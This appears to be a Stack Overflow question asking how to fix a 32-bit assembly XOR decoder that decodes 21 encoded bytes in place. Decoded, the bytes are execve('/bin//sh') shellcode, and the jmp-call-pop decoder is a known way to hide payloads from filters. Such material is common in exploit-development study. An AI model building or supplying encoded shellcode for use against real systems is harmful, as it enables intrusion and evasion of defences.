title: change value in stack assembly
body: <p>I want to xor every byte from esi with 0x63. But I'm getting error. How can I fix it? </p>
  
  <pre><code> global _start:
      _start:
  jmp short shell
  decode:
      mov al, 0x63 ; key
      xor ecx, ecx    
      mov ecx, 21 ; len
      pop esi
      dec:
          xor byte [esi], al
          inc esi
          loop dec
      jmp short code    
  shell:
      call decode
  code:
       db 0xd3,0x68,0x31,0x0b,0x4c,0x4c,0x10,0x68,0x0b,0x4c,0x01,0x0a,0x0d,0xea,0x80,0x31,0x30,0xea,0x82,0xae,0xe3
  </code></pre>
  
  <p>See the image:</p>
  
  <p><a href="https://i.stack.imgur.com/IkQFh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/IkQFh.png" alt="Error Deatils image"></a></p>